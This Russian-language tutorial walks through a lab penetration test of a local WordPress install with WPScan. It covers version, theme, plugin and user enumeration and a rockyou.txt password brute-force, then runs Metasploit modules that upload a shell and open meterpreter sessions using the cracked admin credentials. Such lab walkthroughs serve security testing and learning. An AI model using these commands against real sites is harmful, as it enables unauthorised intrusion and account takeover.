Сегодня более половины всех сайтов работают на CMS, а согласно данным W3Techs 63,7% из них используют WordPress. Если ваш сайт один из таких, тогда в этой статье вы узнаете о том, как проверить его на прочность с помощью одного из самых мощных инструментов для пентеста Wordpress – WPScan.
Содержание:
- Введение
- Сканирование версии WordPress
- Сканирование установленных тем оформления
- Сканирование установленных плагинов
- Сканирование пользователей
- Сканирование тем, плагинов и пользователей одной командой
- Брутфорс с помощью WPScan
- Загрузка шелла с помощью Metasploit
- Использование уязвимостей в плагинах
- Сканирование через прокси-сервер
- Сканирование с включенной HTTP-аутентификацией
Введение
«WPScan» – blackbox сканер уязвимостей WordPress, написанный на Ruby. Позволяет выявлять уязвимости в:
- В версии движка.
- Темах оформления.
- Плагинах.
WPScan уже предустановлены в ряде ОС для белого хакинга, таких как:
- Kali Linux
- SamuraiWTF
- Pentoo
- BlackArch
WPScan сканирует свою базу данных, чтобы найти устаревшие версии и уязвимости в движке целевого сайта.
Возможности WPScan:
- Определяет версию установленного на данный момент WordPress.
- Обнаруживает конфиденциальные файлы, такие как:
- readme;
- robots.txt;
- файлы замены базы данных и т. Д.
- Обнаруживает включенные функции на текущем установленном сервере WordPress, таких как file_upload.
- Перечисляет темы оформления и плагины вместе с их версиями. Вдобавко WPScan сообщает о том, устарели они или нет.
- Находит все доступные имена пользователей.
Для тестов будем использовать Kali Linux, в которой WPScan уже предустановлен. В качестве жертвы будет WordPress, который мы заранее заранее установили на Ubuntu 20.04. О том, как это лучше сделать будет наш следующий пост.
Проверим параметры использования по умолчанию с помощью следующей команды:
wpscan -hh
Сканирование версии WordPress
Вводим следующую команду, чтобы просканировать WordPress и его сервер.
wpscan --url http://192.168.1.105/wordpress/
На изображении ниже можно заметить, что WPScan выводит:
- версию WordPress
- сервер Apache
Он даже обнаружил, что в каталоге загрузки есть список каталогов. Это значит, что любой может перейти к «/wp-content/uploads» для проверки загруженных файлов.
Сканирование установленных тем оформления
Темы оформления играют важную роль в любой CMS, они контролируют общий внешний вид веб-сайта, включая:
- Макет страницы.
- Расположение виджетов.
- Настройки шрифта и цвета по умолчанию.
WPScan для поиска уязвимостей использует свою базу, которая содержит почти 3 тысячи тем оформления.
Чтобы проверить установленные темы целевого движка, введите следующую команду:
wpscan --url http://192.168.1.105/wordpresws/ -e at
Где:
- «–e» используется для перечисления;
- «at» выводит «все темы».
Чтобы перечислить только темы с уязвимостями можно использовать «vt».
Таким образом, запустив указанную выше команду, мы увидим установленные темы и их версию.
Сканирование установленных плагинов
Плагины – это небольшие фрагменты кода, которые после установки могут повысить функциональность движка и улучшить его возможности, но порой они наносят больше вреда, чем пользы.
Давайте проверим установленные плагины, выполнив следующую команду:
wpscan --url http://192.168.1.105/wordpress/ -e ap
- Подобно темам, мы также можем проверить уязвимые плагины с помощью «vp».
Через несколько секунд, WPScan выводит результат, на котором видно видно, что на целевом сайте установлены плагины:
- mail-masta;
- reflex-gallery.
В качестве бонуса мы получаем:
- последнюю версию;
- дату последнего обновления.
Сканирование пользователей
Чтобы вывести список привилегированных пользователей введем следующую команду:
wpscan –url http://192.168.1.105/wordpress/ -e u
- «u» найдет имена всех пользователей и выведет их на экран.
Когда WPScan завершит свою работу, мы получим список всех пользователей с их идентификаторами.
Сканирование тем, плагинов и пользователей одной командой
Может ли WPScan одной командой сканировать:
- Темы оформления.
- Плагины.
- Имена пользователей.
Давайте это проверим!
Запустите следующую команду, чтобы сканировать темы, плагины и логины одновременно.
wpscan --url http://192.168.1.105/wordpress/ -e at –e ap –e u
–e: at: перечислить все темы целевого сайта;
–e: ap: перечислить все плагины целевого веб-сайта;
–e: u: перечислить все имена пользователей целевого веб-сайта.
Брутфорс с использованием WPScan
С помощью имен пользователей, которые мы уже получили ранее, мы можем попробовать брутфорс. Для этого потребуется еще список паролей по умолчанию, например, «rockyou.txt».
Начинаем брутфорс командой:
wpscan --url http://192.168.1.105/wordpress/ -U user.txt -P /usr/share/wordlists/rockyou.txt
–U и –P используются для настройки списка имен пользователей и списка паролей соответственно.
WPScan сопоставляет логины и пароли, а затем выводит результат на экран. В нашем случае были найдены 3 правильные комбинации.
Мы получили учетные данные администратора:
- Логин: admin
- Пароль: jessica
Теперь попробуем с их помощью попасть в админку.
Загрузка шелла с помощью Metasploit
Вводим следующие команды:
msf > use exploit/unix/webapp/wp_admin_shell_upload
msf exploit(wp_admin_shell_upload) > set rhosts 192.168.1.105
msf exploit(wp_admin_shell_upload) > set username admin
msf exploit(wp_admin_shell_upload) > set password jessica
msf exploit(wp_admin_shell_upload) > set targeturi /wordpress
msf exploit(wp_admin_shell_upload) > exploit
Этот модуль принимает имя пользователя и пароль администратора, входит в админку и загружает полезные данные, упакованные в виде плагина WordPress, но главное, он дает нам meterpreter сессию.
Использование уязвимых плагинов
Здесь, на нашем веб-сайте, мы обнаружили уязвимый плагин, а именно «slideshowgallery», который содержит уязвимость при загрузке файла аутентификации. Для ее использования применим следующий модуль, который предложит нам обратное подключение.
use exploit/unix/webapp/wp_slideshowgallery_upload
msf exploit(wp_slideshowgallery _upload) > set rhost 192.168.1.105
msf exploit(wp_ slideshowgallery _upload) > set targeturi /wordpress
msf exploit(wp_ slideshowgallery _upload) > set username admin
msf exploit(wp_ slideshowgallery _upload) > set password jessica
msf exploit(wp_ slideshowgallery _upload) > exploit
На изображении видно, что мы успешно получили meterpreter сессию.
Сканирование через прокси-сервер
Является ли прокси-сервер проблемой для WPScan? Давайте это выясним!
Отныне наш WordPress будет работать через прокси-сервер с номером порта 3128.
Теперь, если мы попытаемся сканировать его с использованием параметра по умолчанию, то увидим ошибку.
Итак, давайте попробуем использовать порт прокси для сканирования. Просто выполним следующую команду, чтобы обойти этот прокси-сервер:
wpscan --url http://192.168.1.105/wordpress/ --proxy http://192.168.1.105:3128
На изображении ниже видно, что сканирование удалось.
Сканирование с включенной HTTP-аутентификацией
Многие веб-сайты поддерживают HTTP-аутентификацию, что позволяет скрывать важную информацию от тех, кто эту аутентификацию не прошел.
Мы установили аналогичную проверку для нашего сайта с учетными данными:
- «raj: 123»
На изображении ниже видно, что при попытке обычного сканирования мы получили предупреждение с просьбой использовать «–http-auth».
Таким образом, после этого предупреждения мы использовали «–http-auth» и ввели свои учетные данные.
wpscan --url http://192.168.1.105/wordpress/ --http-auth raj: 123
Сканирование началось...